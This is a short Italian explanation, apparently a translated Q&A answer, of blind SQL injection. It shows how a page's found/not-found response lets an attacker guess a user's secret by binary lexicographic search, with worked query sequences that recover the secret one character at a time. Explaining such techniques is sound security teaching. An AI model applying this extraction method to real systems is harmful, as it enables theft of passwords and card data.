Blind SQL Injection è uno di questi esempi. Supponiamo che tu abbia la possibilità di eseguire l'iniezione SQL ma sei limitato a ciò che puoi iniettare. Qualcosa in righe di:
SELECT id FROM users WHERE username = <foo>;
Puoi inserire in foo
ma non puoi ottenere altro output se non la pagina che restituisce 404 (se non esiste tale utente) o qualcos'altro (se c'è un risultato) . Non è possibile ottenere alcun risultato da questa query oltre allo stato della pagina ("funziona / non funziona").
In questa situazione potresti provare a indovinare alcuni dati sull'utente (come la sua password con hash o il suo numero di carta di credito) in questo modo:
SELECT id FROM users WHERE username = "kos" AND secret = "mellon";
SELECT id FROM users WHERE username = "kos" AND secret = "rosebud";
Una volta caricata una pagina, sai di aver indovinato la password correttamente.
Ora per la parte divertente: per indovinare in un tempo ragionevole, è possibile passare alla ricerca lessicografica binario:
SELECT id FROM users WHERE username = "kos" AND secret >= "a" AND secret <= "z" -- 1
SELECT id FROM users WHERE username = "kos" AND secret >= "a" AND secret <= "n" -- 0
SELECT id FROM users WHERE username = "kos" AND secret >= "o" AND secret <= "u" -- 0
SELECT id FROM users WHERE username = "kos" AND secret >= "v" AND secret <= "x" -- 1
SELECT id FROM users WHERE username = "kos" AND secret >= "w" AND secret <= "x" -- 1
SELECT id FROM users WHERE username = "kos" AND secret >= "x" AND secret <= "x" -- 1
Hai la prima lettera! Continua:
SELECT id FROM users WHERE username = "kos" AND secret >= "xa" AND secret <= "xz" -- 1
SELECT id FROM users WHERE username = "kos" AND secret >= "xa" AND secret <= "xn" -- 1
SELECT id FROM users WHERE username = "kos" AND secret >= "xa" AND secret <= "xg" -- 0
SELECT id FROM users WHERE username = "kos" AND secret >= "xh" AND secret <= "xk" -- 1
SELECT id FROM users WHERE username = "kos" AND secret >= "xj" AND secret <= "xk" -- 1
SELECT id FROM users WHERE username = "kos" AND secret >= "xk" AND secret <= "xk" -- 1
... e così via, fino a quando non conosci tutte le lettere.